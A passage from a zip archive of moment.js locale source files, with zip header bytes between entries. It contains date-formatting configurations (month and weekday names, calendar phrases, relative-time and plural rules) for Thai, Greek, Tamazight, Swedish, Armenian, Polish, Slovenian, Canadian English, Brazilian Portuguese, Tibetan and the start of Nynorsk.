                    return '[prošle] [subote] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[prošli] dddd [u] LT';
            }
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'za %s',
        past   : 'prije %s',
        s      : 'par sekundi',
        ss     : translate,
        m      : translate,
        mm     : translate,
        h      : translate,
        hh     : translate,
        d      : 'dan',
        dd     : translate,
        M      : 'mjesec',
        MM     : translate,
        y      : 'godinu',
        yy     : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\>�S{�
�
locale/th.jsnu�[���//! moment.js locale configuration
//! locale : Thai [th]
//! author : Kridsada Thanabulpong : https://github.com/sirn

import moment from '../moment';

export default moment.defineLocale('th', {
    months : 'มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม'.split('_'),
    monthsShort : 'ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.'.split('_'),
    monthsParseExact: true,
    weekdays : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์'.split('_'),
    weekdaysShort : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์'.split('_'), // yes, three characters difference
    weekdaysMin : 'อา._จ._อ._พ._พฤ._ศ._ส.'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY เวลา H:mm',
        LLLL : 'วันddddที่ D MMMM YYYY เวลา H:mm'
    },
    meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/,
    isPM: function (input) {
        return input === 'หลังเที่ยง';
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ก่อนเที่ยง';
        } else {
            return 'หลังเที่ยง';
        }
    },
    calendar : {
        sameDay : '[วันนี้ เวลา] LT',
        nextDay : '[พรุ่งนี้ เวลา] LT',
        nextWeek : 'dddd[หน้า เวลา] LT',
        lastDay : '[เมื่อวานนี้ เวลา] LT',
        lastWeek : '[วัน]dddd[ที่แล้ว เวลา] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'อีก %s',
        past : '%sที่แล้ว',
        s : 'ไม่กี่วินาที',
        ss : '%d วินาที',
        m : '1 นาที',
        mm : '%d นาที',
        h : '1 ชั่วโมง',
        hh : '%d ชั่วโมง',
        d : '1 วัน',
        dd : '%d วัน',
        M : '1 เดือน',
        MM : '%d เดือน',
        y : '1 ปี',
        yy : '%d ปี'
    }
});
PK.��\j�e��locale/el.jsnu�[���//! moment.js locale configuration
//! locale : Greek [el]
//! author : Aggelos Karalias : https://github.com/mehiel

import moment from '../moment';
import isFunction from '../lib/utils/is-function';

export default moment.defineLocale('el', {
    monthsNominativeEl : 'Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος'.split('_'),
    monthsGenitiveEl : 'Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου'.split('_'),
    months : function (momentToFormat, format) {
        if (!momentToFormat) {
            return this._monthsNominativeEl;
        } else if (typeof format === 'string' && /D/.test(format.substring(0, format.indexOf('MMMM')))) { // if there is a day number before 'MMMM'
            return this._monthsGenitiveEl[momentToFormat.month()];
        } else {
            return this._monthsNominativeEl[momentToFormat.month()];
        }
    },
    monthsShort : 'Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ'.split('_'),
    weekdays : 'Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο'.split('_'),
    weekdaysShort : 'Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ'.split('_'),
    weekdaysMin : 'Κυ_Δε_Τρ_Τε_Πε_Πα_Σα'.split('_'),
    meridiem : function (hours, minutes, isLower) {
        if (hours > 11) {
            return isLower ? 'μμ' : 'ΜΜ';
        } else {
            return isLower ? 'πμ' : 'ΠΜ';
        }
    },
    isPM : function (input) {
        return ((input + '').toLowerCase()[0] === 'μ');
    },
    meridiemParse : /[ΠΜ]\.?Μ?\.?/i,
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendarEl : {
        sameDay : '[Σήμερα {}] LT',
        nextDay : '[Αύριο {}] LT',
        nextWeek : 'dddd [{}] LT',
        lastDay : '[Χθες {}] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 6:
                    return '[το προηγούμενο] dddd [{}] LT';
                default:
                    return '[την προηγούμενη] dddd [{}] LT';
            }
        },
        sameElse : 'L'
    },
    calendar : function (key, mom) {
        var output = this._calendarEl[key],
            hours = mom && mom.hours();
        if (isFunction(output)) {
            output = output.apply(mom);
        }
        return output.replace('{}', (hours % 12 === 1 ? 'στη' : 'στις'));
    },
    relativeTime : {
        future : 'σε %s',
        past : '%s πριν',
        s : 'λίγα δευτερόλεπτα',
        ss : '%d δευτερόλεπτα',
        m : 'ένα λεπτό',
        mm : '%d λεπτά',
        h : 'μία ώρα',
        hh : '%d ώρες',
        d : 'μία μέρα',
        dd : '%d μέρες',
        M : 'ένας μήνας',
        MM : '%d μήνες',
        y : 'ένας χρόνος',
        yy : '%d χρόνια'
    },
    dayOfMonthOrdinalParse: /\d{1,2}η/,
    ordinal: '%dη',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4st is the first week of the year.
    }
});

PK.��\�M���locale/tzm-latn.jsnu�[���//! moment.js locale configuration
//! locale : Central Atlas Tamazight Latin [tzm-latn]
//! author : Abdel Said : https://github.com/abdelsaid

import moment from '../moment';

export default moment.defineLocale('tzm-latn', {
    months : 'innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir'.split('_'),
    monthsShort : 'innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir'.split('_'),
    weekdays : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'),
    weekdaysShort : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'),
    weekdaysMin : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[asdkh g] LT',
        nextDay: '[aska g] LT',
        nextWeek: 'dddd [g] LT',
        lastDay: '[assant g] LT',
        lastWeek: 'dddd [g] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'dadkh s yan %s',
        past : 'yan %s',
        s : 'imik',
        ss : '%d imik',
        m : 'minuḍ',
        mm : '%d minuḍ',
        h : 'saɛa',
        hh : '%d tassaɛin',
        d : 'ass',
        dd : '%d ossan',
        M : 'ayowr',
        MM : '%d iyyirn',
        y : 'asgas',
        yy : '%d isgasn'
    },
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�D����locale/sv.jsnu�[���//! moment.js locale configuration
//! locale : Swedish [sv]
//! author : Jens Alm : https://github.com/ulmus

import moment from '../moment';

export default moment.defineLocale('sv', {
    months : 'januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december'.split('_'),
    monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec'.split('_'),
    weekdays : 'söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag'.split('_'),
    weekdaysShort : 'sön_mån_tis_ons_tor_fre_lör'.split('_'),
    weekdaysMin : 'sö_må_ti_on_to_fr_lö'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY [kl.] HH:mm',
        LLLL : 'dddd D MMMM YYYY [kl.] HH:mm',
        lll : 'D MMM YYYY HH:mm',
        llll : 'ddd D MMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Idag] LT',
        nextDay: '[Imorgon] LT',
        lastDay: '[Igår] LT',
        nextWeek: '[På] dddd LT',
        lastWeek: '[I] dddd[s] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'om %s',
        past : 'för %s sedan',
        s : 'några sekunder',
        ss : '%d sekunder',
        m : 'en minut',
        mm : '%d minuter',
        h : 'en timme',
        hh : '%d timmar',
        d : 'en dag',
        dd : '%d dagar',
        M : 'en månad',
        MM : '%d månader',
        y : 'ett år',
        yy : '%d år'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(e|a)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'e' :
            (b === 1) ? 'a' :
            (b === 2) ? 'a' :
            (b === 3) ? 'e' : 'e';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\3[���locale/hy-am.jsnu�[���//! moment.js locale configuration
//! locale : Armenian [hy-am]
//! author : Armendarabyan : https://github.com/armendarabyan

import moment from '../moment';

export default moment.defineLocale('hy-am', {
    months : {
        format: 'հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի'.split('_'),
        standalone: 'հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր'.split('_')
    },
    monthsShort : 'հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ'.split('_'),
    weekdays : 'կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ'.split('_'),
    weekdaysShort : 'կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ'.split('_'),
    weekdaysMin : 'կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY թ.',
        LLL : 'D MMMM YYYY թ., HH:mm',
        LLLL : 'dddd, D MMMM YYYY թ., HH:mm'
    },
    calendar : {
        sameDay: '[այսօր] LT',
        nextDay: '[վաղը] LT',
        lastDay: '[երեկ] LT',
        nextWeek: function () {
            return 'dddd [օրը ժամը] LT';
        },
        lastWeek: function () {
            return '[անցած] dddd [օրը ժամը] LT';
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : '%s հետո',
        past : '%s առաջ',
        s : 'մի քանի վայրկյան',
        ss : '%d վայրկյան',
        m : 'րոպե',
        mm : '%d րոպե',
        h : 'ժամ',
        hh : '%d ժամ',
        d : 'օր',
        dd : '%d օր',
        M : 'ամիս',
        MM : '%d ամիս',
        y : 'տարի',
        yy : '%d տարի'
    },
    meridiemParse: /գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,
    isPM: function (input) {
        return /^(ցերեկվա|երեկոյան)$/.test(input);
    },
    meridiem : function (hour) {
        if (hour < 4) {
            return 'գիշերվա';
        } else if (hour < 12) {
            return 'առավոտվա';
        } else if (hour < 17) {
            return 'ցերեկվա';
        } else {
            return 'երեկոյան';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}|\d{1,2}-(ին|րդ)/,
    ordinal: function (number, period) {
        switch (period) {
            case 'DDD':
            case 'w':
            case 'W':
            case 'DDDo':
                if (number === 1) {
                    return number + '-ին';
                }
                return number + '-րդ';
            default:
                return number;
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\[t�T  locale/pl.jsnu�[���//! moment.js locale configuration
//! locale : Polish [pl]
//! author : Rafal Hirsz : https://github.com/evoL

import moment from '../moment';

var monthsNominative = 'styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień'.split('_'),
    monthsSubjective = 'stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia'.split('_');
function plural(n) {
    return (n % 10 < 5) && (n % 10 > 1) && ((~~(n / 10) % 10) !== 1);
}
function translate(number, withoutSuffix, key) {
    var result = number + ' ';
    switch (key) {
        case 'ss':
            return result + (plural(number) ? 'sekundy' : 'sekund');
        case 'm':
            return withoutSuffix ? 'minuta' : 'minutę';
        case 'mm':
            return result + (plural(number) ? 'minuty' : 'minut');
        case 'h':
            return withoutSuffix  ? 'godzina'  : 'godzinę';
        case 'hh':
            return result + (plural(number) ? 'godziny' : 'godzin');
        case 'MM':
            return result + (plural(number) ? 'miesiące' : 'miesięcy');
        case 'yy':
            return result + (plural(number) ? 'lata' : 'lat');
    }
}

export default moment.defineLocale('pl', {
    months : function (momentToFormat, format) {
        if (!momentToFormat) {
            return monthsNominative;
        } else if (format === '') {
            // Hack: if format empty we know this is used to generate
            // RegExp by moment. Give then back both valid forms of months
            // in RegExp ready format.
            return '(' + monthsSubjective[momentToFormat.month()] + '|' + monthsNominative[momentToFormat.month()] + ')';
        } else if (/D MMMM/.test(format)) {
            return monthsSubjective[momentToFormat.month()];
        } else {
            return monthsNominative[momentToFormat.month()];
        }
    },
    monthsShort : 'sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru'.split('_'),
    weekdays : 'niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota'.split('_'),
    weekdaysShort : 'ndz_pon_wt_śr_czw_pt_sob'.split('_'),
    weekdaysMin : 'Nd_Pn_Wt_Śr_Cz_Pt_So'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Dziś o] LT',
        nextDay: '[Jutro o] LT',
        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[W niedzielę o] LT';

                case 2:
                    return '[We wtorek o] LT';

                case 3:
                    return '[W środę o] LT';

                case 6:
                    return '[W sobotę o] LT';

                default:
                    return '[W] dddd [o] LT';
            }
        },
        lastDay: '[Wczoraj o] LT',
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[W zeszłą niedzielę o] LT';
                case 3:
                    return '[W zeszłą środę o] LT';
                case 6:
                    return '[W zeszłą sobotę o] LT';
                default:
                    return '[W zeszły] dddd [o] LT';
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'za %s',
        past : '%s temu',
        s : 'kilka sekund',
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : '1 dzień',
        dd : '%d dni',
        M : 'miesiąc',
        MM : translate,
        y : 'rok',
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\���3��locale/sl.jsnu�[���//! moment.js locale configuration
//! locale : Slovenian [sl]
//! author : Robert Sedovšek : https://github.com/sedovsek

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var result = number + ' ';
    switch (key) {
        case 's':
            return withoutSuffix || isFuture ? 'nekaj sekund' : 'nekaj sekundami';
        case 'ss':
            if (number === 1) {
                result += withoutSuffix ? 'sekundo' : 'sekundi';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'sekundi' : 'sekundah';
            } else if (number < 5) {
                result += withoutSuffix || isFuture ? 'sekunde' : 'sekundah';
            } else {
                result += withoutSuffix || isFuture ? 'sekund' : 'sekund';
            }
            return result;
        case 'm':
            return withoutSuffix ? 'ena minuta' : 'eno minuto';
        case 'mm':
            if (number === 1) {
                result += withoutSuffix ? 'minuta' : 'minuto';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'minuti' : 'minutama';
            } else if (number < 5) {
                result += withoutSuffix || isFuture ? 'minute' : 'minutami';
            } else {
                result += withoutSuffix || isFuture ? 'minut' : 'minutami';
            }
            return result;
        case 'h':
            return withoutSuffix ? 'ena ura' : 'eno uro';
        case 'hh':
            if (number === 1) {
                result += withoutSuffix ? 'ura' : 'uro';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'uri' : 'urama';
            } else if (number < 5) {
                result += withoutSuffix || isFuture ? 'ure' : 'urami';
            } else {
                result += withoutSuffix || isFuture ? 'ur' : 'urami';
            }
            return result;
        case 'd':
            return withoutSuffix || isFuture ? 'en dan' : 'enim dnem';
        case 'dd':
            if (number === 1) {
                result += withoutSuffix || isFuture ? 'dan' : 'dnem';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'dni' : 'dnevoma';
            } else {
                result += withoutSuffix || isFuture ? 'dni' : 'dnevi';
            }
            return result;
        case 'M':
            return withoutSuffix || isFuture ? 'en mesec' : 'enim mesecem';
        case 'MM':
            if (number === 1) {
                result += withoutSuffix || isFuture ? 'mesec' : 'mesecem';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'meseca' : 'mesecema';
            } else if (number < 5) {
                result += withoutSuffix || isFuture ? 'mesece' : 'meseci';
            } else {
                result += withoutSuffix || isFuture ? 'mesecev' : 'meseci';
            }
            return result;
        case 'y':
            return withoutSuffix || isFuture ? 'eno leto' : 'enim letom';
        case 'yy':
            if (number === 1) {
                result += withoutSuffix || isFuture ? 'leto' : 'letom';
            } else if (number === 2) {
                result += withoutSuffix || isFuture ? 'leti' : 'letoma';
            } else if (number < 5) {
                result += withoutSuffix || isFuture ? 'leta' : 'leti';
            } else {
                result += withoutSuffix || isFuture ? 'let' : 'leti';
            }
            return result;
    }
}

export default moment.defineLocale('sl', {
    months : 'januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december'.split('_'),
    monthsShort : 'jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.'.split('_'),
    monthsParseExact: true,
    weekdays : 'nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota'.split('_'),
    weekdaysShort : 'ned._pon._tor._sre._čet._pet._sob.'.split('_'),
    weekdaysMin : 'ne_po_to_sr_če_pe_so'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd, D. MMMM YYYY H:mm'
    },
    calendar : {
        sameDay  : '[danes ob] LT',
        nextDay  : '[jutri ob] LT',

        nextWeek : function () {
            switch (this.day()) {
                case 0:
                    return '[v] [nedeljo] [ob] LT';
                case 3:
                    return '[v] [sredo] [ob] LT';
                case 6:
                    return '[v] [soboto] [ob] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[v] dddd [ob] LT';
            }
        },
        lastDay  : '[včeraj ob] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 0:
                    return '[prejšnjo] [nedeljo] [ob] LT';
                case 3:
                    return '[prejšnjo] [sredo] [ob] LT';
                case 6:
                    return '[prejšnjo] [soboto] [ob] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[prejšnji] dddd [ob] LT';
            }
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'čez %s',
        past   : 'pred %s',
        s      : processRelativeTime,
        ss     : processRelativeTime,
        m      : processRelativeTime,
        mm     : processRelativeTime,
        h      : processRelativeTime,
        hh     : processRelativeTime,
        d      : processRelativeTime,
        dd     : processRelativeTime,
        M      : processRelativeTime,
        MM     : processRelativeTime,
        y      : processRelativeTime,
        yy     : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\���		locale/en-ca.jsnu�[���//! moment.js locale configuration
//! locale : English (Canada) [en-ca]
//! author : Jonathan Abourbih : https://github.com/jonbca

import moment from '../moment';

export default moment.defineLocale('en-ca', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'YYYY-MM-DD',
        LL : 'MMMM D, YYYY',
        LLL : 'MMMM D, YYYY h:mm A',
        LLLL : 'dddd, MMMM D, YYYY h:mm A'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        ss : '%d seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    }
});
PK.��\�59�AAlocale/pt-br.jsnu�[���//! moment.js locale configuration
//! locale : Portuguese (Brazil) [pt-br]
//! author : Caio Ribeiro Pereira : https://github.com/caio-ribeiro-pereira

import moment from '../moment';

export default moment.defineLocale('pt-br', {
    months : 'janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro'.split('_'),
    monthsShort : 'jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez'.split('_'),
    weekdays : 'Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado'.split('_'),
    weekdaysShort : 'Dom_Seg_Ter_Qua_Qui_Sex_Sáb'.split('_'),
    weekdaysMin : 'Do_2ª_3ª_4ª_5ª_6ª_Sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D [de] MMMM [de] YYYY',
        LLL : 'D [de] MMMM [de] YYYY [às] HH:mm',
        LLLL : 'dddd, D [de] MMMM [de] YYYY [às] HH:mm'
    },
    calendar : {
        sameDay: '[Hoje às] LT',
        nextDay: '[Amanhã às] LT',
        nextWeek: 'dddd [às] LT',
        lastDay: '[Ontem às] LT',
        lastWeek: function () {
            return (this.day() === 0 || this.day() === 6) ?
                '[Último] dddd [às] LT' : // Saturday + Sunday
                '[Última] dddd [às] LT'; // Monday - Friday
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'em %s',
        past : 'há %s',
        s : 'poucos segundos',
        ss : '%d segundos',
        m : 'um minuto',
        mm : '%d minutos',
        h : 'uma hora',
        hh : '%d horas',
        d : 'um dia',
        dd : '%d dias',
        M : 'um mês',
        MM : '%d meses',
        y : 'um ano',
        yy : '%d anos'
    },
    dayOfMonthOrdinalParse: /\d{1,2}º/,
    ordinal : '%dº'
});

PK.��\��7((locale/bo.jsnu�[���//! moment.js locale configuration
//! locale : Tibetan [bo]
//! author : Thupten N. Chakrishar : https://github.com/vajradog

import moment from '../moment';

var symbolMap = {
    '1': '༡',
    '2': '༢',
    '3': '༣',
    '4': '༤',
    '5': '༥',
    '6': '༦',
    '7': '༧',
    '8': '༨',
    '9': '༩',
    '0': '༠'
},
numberMap = {
    '༡': '1',
    '༢': '2',
    '༣': '3',
    '༤': '4',
    '༥': '5',
    '༦': '6',
    '༧': '7',
    '༨': '8',
    '༩': '9',
    '༠': '0'
};

export default moment.defineLocale('bo', {
    months : 'ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ'.split('_'),
    monthsShort : 'ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ'.split('_'),
    weekdays : 'གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་'.split('_'),
    weekdaysShort : 'ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་'.split('_'),
    weekdaysMin : 'ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་'.split('_'),
    longDateFormat : {
        LT : 'A h:mm',
        LTS : 'A h:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm',
        LLLL : 'dddd, D MMMM YYYY, A h:mm'
    },
    calendar : {
        sameDay : '[དི་རིང] LT',
        nextDay : '[སང་ཉིན] LT',
        nextWeek : '[བདུན་ཕྲག་རྗེས་མ], LT',
        lastDay : '[ཁ་སང] LT',
        lastWeek : '[བདུན་ཕྲག་མཐའ་མ] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s ལ་',
        past : '%s སྔན་ལ',
        s : 'ལམ་སང',
        ss : '%d སྐར་ཆ།',
        m : 'སྐར་མ་གཅིག',
        mm : '%d སྐར་མ',
        h : 'ཆུ་ཚོད་གཅིག',
        hh : '%d ཆུ་ཚོད',
        d : 'ཉིན་གཅིག',
        dd : '%d ཉིན་',
        M : 'ཟླ་བ་གཅིག',
        MM : '%d ཟླ་བ',
        y : 'ལོ་གཅིག',
        yy : '%d ལོ'
    },
    preparse: function (string) {
        return string.replace(/[༡༢༣༤༥༦༧༨༩༠]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    meridiemParse: /མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if ((meridiem === 'མཚན་མོ' && hour >= 4) ||
                (meridiem === 'ཉིན་གུང' && hour < 5) ||
                meridiem === 'དགོང་དག') {
            return hour + 12;
        } else {
            return hour;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'མཚན་མོ';
        } else if (hour < 10) {
            return 'ཞོགས་ཀས';
        } else if (hour < 17) {
            return 'ཉིན་གུང';
        } else if (hour < 20) {
            return 'དགོང་དག';
        } else {
            return 'མཚན་མོ';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\{���locale/nn.jsnu�[���//! moment.js locale configuration
//! locale : Nynorsk [nn]
//! author : https://github.com/mechuwind

import moment from '../moment';

export default moment.defineLocale('nn', {
    months : 'januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember'.split('_'),
    monthsShort : 'jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_'),
    weekdays : 'sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag'.split('_'),
    weekdaysShort : 'sun_mån_tys_ons_tor_fre_lau'.split('_'),
    weekdaysMin : 'su_må_ty_on_to_fr_lø'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
